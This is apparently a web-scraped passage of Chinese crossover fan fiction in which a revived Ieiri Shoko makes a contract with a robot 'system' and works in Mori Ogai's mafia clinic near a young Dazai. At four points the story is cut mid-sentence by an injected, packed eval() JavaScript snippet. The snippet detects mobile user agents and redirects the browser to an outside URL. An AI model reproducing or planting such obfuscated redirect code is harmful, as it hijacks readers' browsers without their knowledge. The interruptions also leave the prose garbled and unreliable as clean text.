大多数时候都是平分,偶尔会有一边比另一边多出一两分的情况,但也都会很快被追平。 如果无视掉他们所在的那个地方的特殊性,这画面看起来还真的挺像普通学生的高中生活。 然而,他们所站的位置注定一切都不可能普通。 回忆中的太阳很耀眼,刺得硝子几乎难以直视,两人的背影渐渐从她的视野中淡去,取而代之的,是天花板上那个孤独地亮起的灯泡。 家入硝子移开视线,看向桌子上正哼哧哼哧努力清干净一片地方的系统。 “你在做什么?”硝子问。 “整理待机的地方。” 系统不睡觉,但是需要待机以节省能量和整理数据。 它把用脏的纸团叠好,再又抽出一张崭新的对折起来铺在桌面上唯一干净的地方,随后墩地一下一屁股坐上去,再也没有动过。 硝子盯着它的机械外壳看了会儿,实在难以分辨他现在到底是清醒状态还是待机状态,于是伸出食指戳了一下它圆滚滚的肚子。 系统的身体纹丝不动,但是声音却从那小小的身体里传出。 “请不要随意玩弄我的身体……您不休息吗?” 它清楚睡眠对于人类来说是每天必须进行的一项行为,正常人类如果缺乏睡眠,很容易影响第二天的精神状态,长期这样下去还会引发一些严重的疾病。 脆弱的碳基生物。 硝子沉默了:“……我睡不着。” 虽然她的心很大,但也没有到突然复活在异世界又接连遭到暗杀,还能没心没肺地接着睡觉的程度。 倒也不是她不想睡,硝子的身体其实已经很累了,尤其在这个世界失去咒力变成普通人后更是如此,但她的大脑神经却还一直处于活跃状态,不肯轻易停下,像是在一系列的突发事件中被迫形成了惯性一样。 系统想了想,从数据库里检索出来一篇故事。 “那我给您读睡前故事听吧,这篇在人类世界好像流传很广,应该很不错,名字叫《无人生——” “停,”家入硝子急忙制止了它,“你读完我可能更睡不着了。” “哦。” 系统很听劝地停下了。 安静中,它黑亮的绿豆眼闪了闪,忽然开口问道:“您刚刚为什么要撒谎?” 它说的是那名被太宰叫“森先生”的男人问起名字时,硝子所做的反应。 家入硝子张了张嘴,没有说话。 她当时并没有太多的思考时间,只是下意识报上了一个名字,但事后想想,她也确实不能说出自己的真名,毕竟她还不清楚组织里到底有谁想要她的命,而眼前的男人和他们到底有没有关系,有的话又是站在哪一边的。 “五条悟……这就是您想见的人吗?” 沉默中,系统突然问。 无机质的声音响在耳侧,硝子表面不露声色,只是喉咙滚动了一下,然后淡淡地说:“你越界了。” 系统道歉很快。 家入硝子并没有生气,只是偶尔对系统这种没由来的敏锐搞得有些不寒而栗。 系统说过,它并不清楚硝子生前的事,遇到她的时候已经是死后的时间了,但它却能在那时候直接向硝子提出交易,就好像知道她心里隐藏着的某些想法和念头一样。 但它大部分时候又迟钝到连人类最简单的情绪隐瞒和最浅显的计谋都无法看穿。 因此给硝子一种很矛盾的感觉,这种矛盾感还在一个人的身上体现了出来,那人就是—— 硝子脑海中浮现出黑发少年冷漠的神情。 外表看起来只有14岁的模样,却被那样一个黑衣壮汉称为“太宰先生”,与那个看起来和港口黑手党牵扯颇深的地下黑医熟识,并被带有些微敬意地称为“太宰君”。 一切的一切都显示出他那与外表年龄不相符的特殊性和不协调感。 家入硝子又想起了系统曾经说过的话。 系统认识这个名叫太宰的少年。 横竖也是睡不着,硝子索性打算再向系统问问关于他的事,可系统给她的回答仍和之前一样。 “现在还不是时候。” “为什么?”硝子问。 “系统限制无法向非合作对象透露任务相关情报。” “你不跟我透露细节,我怎么知道这任务到底能不能成?” “您不和我合作,我就无法告知您相关细节。” “……” 问题陷入了死循环。 家入硝子重重翻了个身,背朝系统懒洋洋道:“那就算了,就这样吧。我接着混吃等死,等我死了以后你再重新选一个新宿主帮你完成任务。” 硝子差点忘了,她本来就是个死人了,活不活这一回其实也没什么所谓。 不如说能从上辈子那种状态下解放出来,倒让她好好松了一口大气。 她为什么非要因为系统的一句“合作”而动摇不可? 又不是什么大不了的事。 身后没了动静,系统在她那句话出口后再也没有发出任何声音,不知是不是已经进入待机状态了。 其实想想也是,她和系统都不是只有眼前这一种选择可选,她可以不接受这种“刺激满满”的生活,从世界上彻底消失,系统也不是非要绑定她来完成任务,世界上比她优秀的人一抓一大把。 “拯救世界”这种东西,跟硝子相性一点也不和。 家入硝子从一开始就十分清楚。 但她还是来了,虽然是在被迫的状态下来到这里,但她终于还是没有选择逃避,选择了应对眼前的混乱和危机,因为她知道自己的内心深处应该是在期待着什么。 一些她也不是很清楚,但仍在期待着的东西。 良久之后。 硝子转身面向桌子,桌上小小的金属体在灯光下只呈现黑白两种色彩,长长的圆条尾巴扭曲地倒映出周围的物体,上半部分处镶嵌的两个漆黑小点看不出它是否还“醒着”。 “合作吗?” 她问。 在她话音刚落的瞬间,系统黑色的小眼睛里闪过一道细微的光芒,无机智的声音在空气中陡然响起。 它的声音听起来与以往截然不同,带着极为冰冷和陌生的质感,像是一个超脱于它的数据之上的某种存在正在回答: “契约已生效,尊敬的家入硝子宿主,您好——” 这时,系统的声音又突然在瞬间变换为之前惯用的音调,透着一丝欢快。 “大文壕系统9958号竭诚为您服务!” …… 契约生效以后,系统好像一下子清醒了,它反复地凑近桌边,不顾桌子上的灰尘,问家入硝子真的同意和它合作了吗,烦的硝子按住它的脑袋把它往外推。 “你的数据库里没有记录吗。” 系统的数据库里当然有,它只是太高兴了。 离任务完成又近了一步,系统9958又一次伟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266229|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的壮举! 耶。 家入硝子看着它兴奋地闪着光的小眼睛,脱口而出地问道:“你刚刚……是怎么了?” 系统9958不明所以地歪了下头。 系统是金属做的身体,所以当它歪头的时候,整个身体都会小小地向一边倾斜。 “宿主是什么意思?” 不过它还是扫描了一遍自己,回答了硝子的问题,“扫描没有任何问题,系统运行一切正常。” 家入硝子盯着它看了一会儿,转身再次面对天花板: “现在可以说了吗?” 系统在原地转了个圈,表达了自己的快乐之后,又墩地一下坐在纸巾上,扭了扭小小的屁股: “您想知道什么?” 家入硝子思考了一下。 其实之前谎报名字还有另一层考虑,少年带她见了森先生,说明他可能对这个男人抱有一定程度的信任,但与此同时,他并没有向那个男人说明她的真实身份,说明这种信任只浮于表面,或者说他还有更多更深层次的考虑—— 这在少年至今为止的表现上来看,极有可能。 虽然不知道他到底在想些什么,不过其造成的结果也与硝子想要的不谋而合。 少年在向人隐瞒,而硝子不想现于人前,所以顺势谎报了名字。 从初步结果上来看,她的决定似乎是对的。 少年对于这个名字并没有什么特别的反应,他垂眼站着,依旧冷漠安静,甚至没有多看她一眼,只除了森先生看起来有些困惑于这个名字的奇怪,以及为什么一个女人会叫悟之外,再没有别的问题了。 虽然工作和住所的问题暂时得到了解决,但硝子剩下的问题仍多到占满她脑内的每条缝隙。 大多是与少年有关。 他和男人究竟是什么关系? 为什么要带她来这里? 又为什么要撒谎隐瞒? 这些行为是出于他自己的计划还是首领的指示? 亦或是其他什么人的指示? 他都知道些什么? 最关键的问题在于—— 她到底能否信任这个少年? 无数的问题挤在硝子的脑袋中,几乎将她的脑袋挤炸。 但她只挑了最重要的几个问了系统,尤其是最后一个问题。 但对于她的这些问题,系统表示自己也不清楚,而关于他的最后一个问题,系统只回答了三个字。 “不确定。” 系统不确定到底能不能信任那个人,尽管在它的那个世界,那个人是可以绝对信任的。 “为什么?”家入硝子问。 “因为我现在还不能确定这个世界的情况。” 系统顿了顿,似乎是考虑到硝子可能存在的困惑,它思考了一会儿又接着说: “按照世界存在的规律,每个世界除了本源世界以外,还存在着许多平行世界,这些世界并非都与本源世界相似。 “按照规律,它可能无限接近于本源世界,也可能无限远离本源世界,而越接近本源世界的,世界走向就会和本源世界越统一,反之,如果这个平行世界无限远离本源世界,那么它的走向就会与本原世界差别越大,即使是天差地别,也不是没有可能的情况。” 硝子想了一会儿,明白过来。 她打了个比方:“也就是说,假使是一个在本源世界救济世人的大好人,也可能在一个无限远离本源世界的平行世界里,变成一个毁天灭地的大反派,是这个意思吗?” 系统点点头,肯定了她的猜测: “虽然差别不至于那么大,但也差不多就是那个意思。就像原本一个不会说谎的人,可能就会在另一个平行世界说谎,在更远的平行世界偷窃。但无一例外,离本源世界越远,偏差值就会越大,这是无法改变的事实。” 硝子又开始头痛了。 她不死心地问道:“那你是从哪个世界来的?” “本源世界。”系统回答。 这不就意味着,如果他们运气极差,所在的这个平行世界偏差值非常大,就算系统给出了她想要的信息,那信息也会失去其作用,而变得没有参考价值吗? 家入硝子觉得自己被深深的欺骗了。 她后悔了。 “能毁约吗?” 硝子盯着天花板角落的蜘蛛网,面无表情地问。 5. 手术·怀疑·偏差 第二天,硝子是在一阵急促的脚步声中醒来,浓重的黑眼圈挂在眼下,这使她整个人看起来似乎比睡前更加疲惫和烦躁了。 门外是一群不知道在做什么的黑衣人。 硝子打开门时,看到他们正面容严肃,动作从容有素地把一个个伤者抬到屋内的病床上,小小的医疗室内很快站满了人。 病床上躺着几个面色发白的男人,硝子鼻间似乎已经嗅到了空气中浓重的血腥味。 房间里的呻吟声很轻,几不可闻,似乎这些人已经习惯于受伤和忍耐,家入硝子找到洗手台,随便收拾了一下后走过来。 “发生什么事了?” 她问着坐在椅子上摆弄一个小挂件的少年。 太宰没有回答。 医疗室里骤然出现一道陌生的声音,那些黑衣人几乎是下意识拔出腰间的手枪,枪口直直对准硝子,直到看到眼前是一个身穿白大褂、身形纤细的女人后,才集体愣了一下。 其中一个看上去领头的男人看向在场的另一个男人,等待他的解释。 “啊,你醒了,”被黑衣男人注视着的森鸥外摆摆手,让他们把枪收起来,对这个局面显得习以为然,“正好,这是我刚收进来的助手,名字叫——” 他似乎还是对硝子说出的这个名字感到十分困惑。 看了看硝子面对黑洞洞的枪口也没有表露丝毫恐惧的脸,沉吟了一会儿,森鸥外还是叹了口气,还是补充完整句话: “她叫五条悟。” 硝子嘴角微微抽动了一下。 说实在的,在素不相识的人嘴里乍然听到这个名字,感觉实在有些微妙。 尤其还是安在她的身上。 好像不该脱口而出这个名字的,早知道就随便胡诌一个了。 但话既然已经说出口了,也就没有回转的余地,硝子只能硬着头皮继续演下去,毕竟她现在要扮演的是一个和老首领独女毫不相关的普通人。 她点点头,清了清嗓音,表情尽量显得平静:“……叫我五条就好。” 空气有些安静,一时间没有人说话。 在这片寂静中,有谁发出了轻轻的“哒”的一声。 硝子下意识看向身旁,少年不知什么时候已经放下了手中的摆件,正安静地坐在木椅上,不时地轻点一下扶手,只是那点在扶手上的食指似乎并没有发出任何声音。 持枪的领头人只扫了一眼太宰,便迅速转移开目光,示意他们可以开始进行治疗。 家入硝子作为刚招进来的新人,自然也是要帮忙的,这里的手术环境并不是很好,她只能简单进行过消毒后,再对那些人进行手术。 从这些人统一的伤口看,似乎是刚进行过一场枪战,具体是为了什么硝子不清楚,以她现在的身份也不可能去问谁,她只能沉默而从容地将嵌入男人大腿里的子弹取出。 但实际原因其实也不难猜测,即使是硝子,对此也还是能够了解一二的,毕竟没吃过猪肉也见过猪跑嘛。 对于这类非法组织,在做的无非就是那些非法的事情—— 走私,非法交易,地缘划分,地区保护等等之类涉及到组织利益和外部形象之类的东西,尤其是在这个节骨眼上,可能还要考虑到组织内部稳定的情况。 房间另一侧的人在谈论着什么,具体内容硝子听不清楚,只是手术间隙简单扫过去一眼,看到谈话的是刚刚那个领头的黑衣男人和森鸥外。 硝子假装暂停动作,活动了一会儿肩膀,表示自己只是有些累了。 一旁一直盯着她的男人没有动作,只是在她走向另一个病床时,目光仍然紧紧跟在她身上。 在房间的另一边,领头的黑衣男人正站在森鸥外的身侧。 他一边看着森鸥外手术,一边低声提醒道:“组织里的任何人都应该接受严格的审查,尤其是现在这种特殊的情况——请你不要忘记自己的身份。” 他没有明说,但他知道,对方相当清楚这里的特殊情况指的是什么。 组织的内部最近很不安定。 这种不安尤其在首领病情加重以后尤为凸显,他们刚刚进行的这场战斗并非是和对立组织发生了摩擦,反而是为了镇压一些跃跃欲试想要在这种时候脱离港口黑手党,转向敌对组织的叛徒。 而对于首领继承人的回归,组织里的知情人也大致分成了两种派别—— 守旧派和维新派。 两方势力相当,不分伯仲,只是碍于老首领仍然在世,才压制着没有出现什么大的动作。 而在这种特殊时期,任何关键位置的变动都可能触及组织这条变得敏感而纤弱的神经,作为首领的专属医师的森鸥外自然也不例外。 但森鸥外只用一句话就打断他接下来要继续说的话。 “这个人是太宰君带来的。” 黑衣人终于闭上嘴,不说话了。 如果说少年对于他们来说是一片黑暗的无法探寻和触摸的深渊,那么他们对于他来说,则只是一片透明到可以轻易看清内部构造的脆弱玻璃。 这一点,在这一个月里他们已经深深地体会到了。 他隐晦地再次看了一眼安静坐在角落里的少年,随后收回了目光,后退几步站到墙边,主动从这场无疾而终的对话中退出。 手术进行的很顺利,最后的收尾工作是由森鸥外进行的,为了避嫌,家入硝子早早就回到了自己的卧室。 趁着这点时间,她把房间简单收拾了一下,看上去干净了一大截。 “现在是什么时间了?”硝子问。 “早上八点。”系统回答。 手术大概进行了一个多小时,也就是说,硝子是早上六点多被吵醒的。 如果她记得没错,她昨晚好像凌晨四点才睡的觉。 家入硝子痛苦地闭了闭眼,整个人呈大字仰面瘫倒在床上,床板发出不堪重负的吱呀声。 一声饱含艰辛的叹息从硝子嘴里发出。 还以为好不容易摆脱了这种悲催的社畜生活,结果眨个眼就换了个世界继续。 什么叫做天命打工人啊。 困意在放松以后止不住地涌上来,但硝子还是强行打起精神,坐起来关好门,低声问桌上的系统: “他们刚刚都说了些什么?” 系统自从硝子起床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266230|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,就一直跟在硝子周围活动,在硝子活动肩膀的时候系统就接收到了她的眼神信号,果断飞到那两人旁边偷听了一下。 它把自己听到的东西全部给硝子复述了一遍,对话总共只有两句: 组织里的任何人都应该接受严格的审查,尤其是现在这种特殊的情况——请你不要忘记自己的身份。 以及—— 这个人是太宰君带来的。 硝子陷入沉思。 第一句显然是针对她的真实身份背景的,硝子并不意外,不如说他们要是没怀疑,硝子才会更意外。 但她此刻更注意后一句话里所包含的信息: 太宰君。 那位少年。 提起他,似乎让黑衣人抱有一种讳莫如深的感觉。 事实上,昨晚她和系统讨论过之后的计划—— “如果无法确认世界的偏差值,就无法对世界的走向进行一个大致的判断,这是我们将要面对的一大堵墙壁。” 系统觉得,在进行任务之前,硝子首先要确定世界偏差值。 并且在此基础上,它会尽力保证硝子的人身安全。 硝子对此倒是表现得十分无所谓,既来之则安之,既然反抗不了狗屎的生活,那就只能躺平享受。 她甚至干脆提议不然就自爆身份算了,大不了就是从暗中对抗变成明面上挑衅,但系统很快拒绝了她的这个提议。 最重要的变数在于那个少年。 也就是,太宰治。 硝子在系统那里第一次知道了他的名字,以及本源世界里曾经发生过的一些事情。 “说实话,不怎么可爱。” 听完系统的介绍,家入硝子如是评价道。 当然,她说的不是太宰,而是这个她刚刚有了一丝了解的世界。 异能,咒术。 两种截然不同的力量形式。 有人痛恨咒力的存在,有人深受异能的折磨。 家入硝子说不清楚问题到底出在哪里,毕竟以她的能力,也仅仅只能做到一个旁观者而已,况且现在的她也成为了一个普通人。 就像在那个世界里一样,她可能最终无法改变任何事情。 她只是本能的感觉到,好像有什么地方不太对劲。 家入硝子沉默了很久,系统就这么静静地呆在她的旁边,没有说话,直到硝子再次出声。 “那你觉得他在这个世界怎么样?有什么很大的变化吗?” 她说的是太宰。 据系统所说,要确定这个世界的偏差值,只有一个办法,那就是找到世界的关键节点所涉及到的人物,并观察他们的行动。 行动与本源世界差距越大,偏差值就会越大,反之则越小。 目前,在硝子接触过的人里,森鸥外的行为看上去并没有太大的变化,但系统制止硝子自爆身份的原因在于另外一个人。 如果这个世界偏差值非常大,第一个对硝子来说最危险的存在,不会是别人,而是太宰治—— 这是系统唯一没办法轻易判断出偏差所在的人。 因为if世界线的存在。 6. 异能·战争·任务 “if世界线?” 硝子是第一次听系统说出这个概念,她沉默地消化着系统所说的话,但接下来,系统说出的这个世界的奇异性还要让她再次大跌眼镜。 “是的,在这些平行的世界线中,存在着因为某种特殊情况而导致的特殊世界存在,本源的太宰先生称之为if世界线。这种世界线一般是由于异能之间或本身的特异点而造成的某些超出本源世界的力量,逸散到其他世界线所导致的。” 又出现了一个新的词。 异能之间的特异点。 家入硝子觉得自己像是在听系统讲另一个故事,因为系统之前所讲的本源世界的事情只是大致过了一遍,并没有提及现在这些概念。 直到听完系统的解释,她才对这个概念稍微有了点理解。 “也就是说,异能之间的某些配合或矛盾点,都有可能造成异能的特异点,而你所说的if世界线,就是因为你说的那个,恩,太宰先生的异能造成的特异点,所产生的另外一条世界线?而且在这个世界线,还因为他拥有了本源世界的记忆,从而在根本上彻底改变了另外几个人的未来?” “是的,特异点的恐怖之处不止如此。”系统点点笨重的金属脑袋,“既然已经说到这里了,那么我有必要向您解释一下本次任务的特殊性——” 它小小的黑色眼睛转向硝子,坐姿端庄郑重,能看出接下来要讲的话对它来说十分重要。 “特异点是一种无法轻易掌控和驱动的特殊力量,要想让这种力量为人驱使,所需要的努力可能要成几何倍增长,它有可能带来好的结果,也有可能带来坏的结果,但就整体而言,这种东西的存在,无一例外总是与某种毁灭力量所绑定——战争,无休无止的战争。” “……” “而我们的任务,就是要拯救这个因为特异点的存在,即将在未来面临彻底崩塌的世界。” 硝子沉默了许久,缓缓道:“你的意思是,要让我……阻止战争?” “不,不是阻止战争。” 出乎意料的,系统否定了她的话,但它接下来的话,让硝子彻底沉默了。 “战争可能会发生,但阻止它没有用,因为只要异能还在,战争就永远不会结束,特异点也会无时无刻存在,世界也就注定会走向毁灭的结局——所有的世界线,无一例外。” 所以,才会有系统的存在,硝子才会出现在这里。 “特异点会像一颗恒星爆炸一般,将满溢的能量释放到周围,总有一天,这个世界会因为无法承受这些能量,而面临崩溃,就像决堤前不堪重负的堤坝,雪崩前落满山头的雪花。” 硝子不发一语,只是低头思考着什么,系统也没有在说话,而是安静地呆在一边,等待硝子做出最后的决定。 系统这番话所包含的信息量,大大超乎硝子的想象。 她原本以为系统所说的任务,不过是阻止一些矛盾的发生,或者是将影响到世界和平发展的战争苗头掐死在摇篮中,但没想到,系统最后说出的话与她想象中的大相径庭。 照它这么说,岂不是要硝子把异能这种东西彻底从世界上抹掉? 毕竟就像它说的,只要有异能还在,异能的特异点就在,这种能量就会在各种机缘巧合或人为刻意引导中,流向这个世界。 那么无论最后战争的结果如何,世界都会一步步走向灭亡。 可硝子怎么可能做得到这种事情? 她又不是造物主,只要说上一句“要有光”,世界就能亮起一片光明。 这家伙是不是搞错了什么。 硝子一时间不知道该说些什么,她觉得系统是在痴人说梦,但转念又想到,自己一个已死之人,现在居然也能好好地站在这里,活在另外一个截然不同的世界,又觉得好像没有什么事情是不可能发生的。 说到底,既然系统都已经拥有这种能够让人复活的能力了,难道还解决不了世界的特异点? 系统在硝子的疑问中摇了摇头:“这不一样,而且这个世界中的任何一个人都没有办法做到这个事,即使是太宰先生也不行,只能由世界之外的人来做——只能由你这种人来做。” “为什么?”硝子下意识问道。 “因为你是旁观者,”系统回答,“是见证人。” “……” 硝子很难说清自己在听到系统那句关于“旁观者”和“见证人”的话的时候的感觉,就像一个永远活在背景板中的人,突然间被人从某个不引人瞩目的角落里窥视到一般,一瞬间,一股成为视线主人眼中的“主角”般毛骨悚然的感觉从脊背骤然蹿了上来,沿着她的脊髓神经直达大脑皮层,那种被人瞬间看透和凝视的感觉让她产生了强烈的不适。 最重要的是,这句话让她瞬间联想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266231|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了自己的上一段人生。 混沌的大脑像是被针尖刺中,尖锐的疼痛以一种奇特的方式呈现在硝子的神经系统中,她从未如此清楚地感受到痛苦这种感觉,就像她之前的人生都是和周围在隔着一层薄膜接触一般,作为一个无知无觉的提线木偶,演绎出千篇一律的情绪。 真正的她是什么样子,无人知晓。 这种感觉像是潮水,急剧涌来,在脑海中呆了不过片刻,又快速退去,不过片刻,就像沙滩上被写下的字迹一般,消失得无影无踪。 海水抚平了一切不该存在的痕迹,她似乎还是那个她。 硝子甩甩头,努力将自己从这种突如其来的陌生情绪中抽离出来,让自己重新冷静下来。 她想要继续思考,但似乎是有了某种疼痛后遗症,大脑中残留的钝痛感让她很难继续再想下去。 硝子又试了试,没有结果,果断而干脆地放弃了,她转而问系统:“既然你被派来完成这个任务,那就是说,你有什么能解决这种情况的办法,是吗?” 系统刚要点头,程序就被更高层的指令占据,和上次在契约达成时的一样,熟悉的冰冷无机质声音再次在硝子耳边响起: “检测到宿主的配合意向,系统将向宿主发布第一个任务——” 这道声音硝子只听到过一次,这次是第二次,她隐约间似乎明白了些什么,但很快被系统接下来的话打断了。 “请以‘天马行空’为主题,写一篇荡气回肠的史诗故事。” “………………” 沉默,长久的沉默。 那道无机质的声音早已消失在小小的房间里,系统则在沉默中兴高采烈地摇着尾巴,开心地观察自己数据库里新出现的任务进度。 硝子没有说话,直到系统回过神来询问她的时候,她也还是面无表情地僵坐在那里一动不动。 如果没有搞错的话,她的职业是医生而不是文豪吧? 况且,写篇故事就能拯救世界? 开什么国际玩笑,学医救不了这狗屎的世界,写文就能救得了? 系统甩着大尾巴,飞到硝子面前晃了好几圈,才看到硝子动了一下。 像是在回复刚刚那个冰冷的声音发布的离谱任务,硝子上下嘴皮碰在一起,冷漠地吐出两个让兴奋的系统眼前一黑的字: “写屁。” 不写。 7.外出·任务·青年 横滨下了一场不大不小的雨。 乌云遮蔽着阴沉的天空,淅淅沥沥的雨点落下,使这座处于日暮中的港口城市显得更加阴郁寂寥。 家入硝子打着一把很大的黑色雨伞,独自一人行走在郊区的雨中,连续不断地水滴击打伞面,发出噼噼啪啪的声响。 硝子手中这把伞很大,能轻松遮住两个成年人,所以替硝子和系统遮挡冰凉的雨丝自然也是不在话下。 只是它外表上的斑驳和隐约透出的日晒痕迹,让这把伞看起来像一个垂暮老者,就连撑开时都发出仿佛骨节间相互摩擦的咯吱声,甚至还有铁锈从里面落下。 硝子本来不想用这把伞,但这是她能在那间医疗诊所里找到的唯一能挡雨的东西了。 看来这个组织确实很穷。硝子叹了口气。 作为支撑组织一部分的重要后勤部队,得到的居然是那么一间老破小的诊所不说,就连医疗设备都差的像是别人用剩的淘汰品,更别提那个空荡的有点过分的仓库,如果硝子以前的工作环境和报酬被苛待成这样,她一定第一个刀了那些老橘子。 可惜系统的算盘打错了方向。 如果不是不想轻易下定结论,家入硝子甚至怀疑,要是真的按照系统的计划去和老首领相认,她最后得到的,会不会只是一屁股的负债,和一座正在风雨中摇摇欲坠的组织。 至于钱权势这三样东西,硝子现在还一个都没看到。 系统察觉到硝子的视线,还是没忍住又问了一遍。 “……宿主,您没忘记您还在生病吧?” 在发着高烧的时候吹冷风,只会加重她的病情,更别提淋雨了,可它的再三反对都遭到了硝子的无视。 系统有些气馁,它第一次对自己这个弱小到毫无威胁力的机体感到了一丝无力,如果它的功能再多一些,外形再优秀一点,是不是就能更多地帮助宿主了? 硝子外出的原因,是关于睡前和系统讨论过的那个“调查横滨市从飞机失事开始后的所有有伤亡的事故新闻”的事情。 虽然不清楚硝子调查这些新闻的理由,但既然是和飞机有关,系统猜想,那应该和她之前说的“飞机出事并非简单的意外事故”背后的某些东西有着什么关联。 诊所的位置处在郊区,自然没有城市中心地带的那种繁华热闹,周围的建筑和设备看起来都有着融于时代的老旧。 而且这个时代似乎比起硝子死时的还要早上许多,所以网络之类的设备也还没有发展到像他们那时一样的普遍。在这种背景下,要寻找到一个能够连接网络的地方,除了手机之外,只能外出去特殊的店里寻找了,至于用诊所里的那台主要用于记录数据的计算机就更不可能了—— 那台电脑在今天早上突然出现了故障,直到现在还没有维修好,更不幸的是,硝子的手机在昨天晚上浸泡过海水,被救上岸之后就已经不能用了,而且手机搜索起来太慢,只能当做备选。 所以她的选择,只有三个中唯一剩下的那个。 冷风裹挟着冰凉的雨丝从脸庞擦过,家入硝子裹紧单薄的衣服。 身上的温度比起之前似乎更高了些,浑身上下的肌肉也在叫嚣着疼痛。 硝子身上没有钱,甚至穿着的衣服也是昨晚森先生看不过去,而替她从仓库里翻出来工作服,外套也是和他身上一模一样的白大褂,好在是全新的,硝子最后还是换上了。 但没有钱,也就意味着无法去网吧之类的地方,不过她原本也没有太高的道德底线,基于其他人都看不到系统,硝子最终决定随便找一家店面进行“白嫖”。 正在发热中的身体,和萎靡不振的精神无法支撑她去更远的地方,硝子也不打算在这个时候把自己的身体搞垮,所以最后选定的目标,是一家距离诊所最近的小钢珠店。 以前和七海五条他们去游戏厅时,硝子就经常看到这类店面,时间久了,自然也就清楚了里面的一些门道,硝子清楚,里面大概率是能找到她所需要的东西的。 于是,这间小钢珠店里的前台人员在这天傍晚,看到店里走进来了一个奇怪的女人。 她身穿医院和实验室里常见的那种白大褂,身形高挑,棕色长发披散在身后,正低头把雨伞放到门口的伞架上。 女人的手指纤细修长,动作间一缕发丝从耳边滑落。 她的周身散发着沉稳和干练的气息,让人难以忽视,只是当她抬起头看向这边时,脸上那副和她不相配的漆黑墨镜将这份协调打破。 两个圆圆的黑色镜片突兀地出现在女人的脸上,将原本姣好的面容遮掩住一些,只在镜片下隐约可见眼尾的那颗深色小痣,勾着人想去看到她的全貌。 前台人员傻眼了片刻。 这是……盲人吗? 盲人来玩小钢珠? 他开始有些犹豫,但早已在职业中被熏到失去原貌的心让他还是没有开口说些什么,女人很快来到他的面前。 她的气质实在出众,在这片乌烟瘴气的吵闹之处显得鹤立鸡群,一时间吸引来了很多目光。 家入硝子注意到了这些,但她无意停留太久,所以还是顶着这些意味深长的目光,勾着墨镜中间的支架微微下拉,露出那双棕色的眼瞳——以及其下浓重的深色眼圈。 “你好。” “……” 美好的幻想破灭了。 前台人员好像听到了什么东西在他体内破碎的声音,那似乎是他刚才蠢蠢欲动,想要萌发出什么东西的心。 他听到自己机械般的声音响起。 “您好,欢迎光临,请问有什么能帮助到您的吗?” 系统早在硝子第一只脚迈进店时就已经飞出去找设备了,此时已经扫描过全店的它最终停留在前台人员的面前。 它和硝子对视了一眼,开始投入工作。 那个前台人员还在呆滞地看着硝子,丝毫没有注意到,有一个方形的东西在他的电脑屏幕界面弹出,然后迅速消失。 为了防止被发现,系统将扫描工作挪到了后台。 时间在一点一滴中流逝。 这个时代的网速很慢,系统要把一整天的新闻全部搜寻起来,大概要至少两分钟的时间,横滨很大,新闻在这个拥挤繁忙的港口城市都算不上新闻了,每天发生的事故更是不在少数,检索出来硝子需要的东西,大概总共需要三分钟。 在这段时间里,硝子负责和那人聊天,尽量在不引起注意的情况下完成这次的计划。 所幸这个店员看上去耐心还好,硝子随便问出的几个问题都得到了回答。 期间有一阵电脑的主机发出了不堪重负的风扇声,但不懂电脑运行的店员只是疑惑地撇去一眼,就收回了目光。 心急的系统无奈之下只能再次降低电脑运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309405|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算速度。 行动有惊无险,整体进行的很顺利,三分钟后,系统重新回到硝子肩头。 家入硝子适时止住话头,重新戴好墨镜,对着店员微微一笑,随后点了点头,打算转身离开。 可就在这时,一个面红耳赤、身形雄壮的男人堵在了她的面前。 家入硝子并不会因为他的表情而多想,不如说走进这里的人,在赌博的强烈刺激下,无论输赢,最终大多都会是这样一幅暴躁的样子。 她停住脚,没等开口说话,男人就伸手把住她的两肩,径直问她:“你叫什么名字?” 赌钱赌疯了? 家入硝子挥手打落肩上的手,皱眉打算绕过他离开,可男人却不依不饶,再次伸手扣住她的胳膊。 “你的名字是什么?告诉我!” 如果不是眼前的世界已经开始旋转,硝子发誓,这人的两条胳膊早在刚刚第一次碰到她时就已经断了。 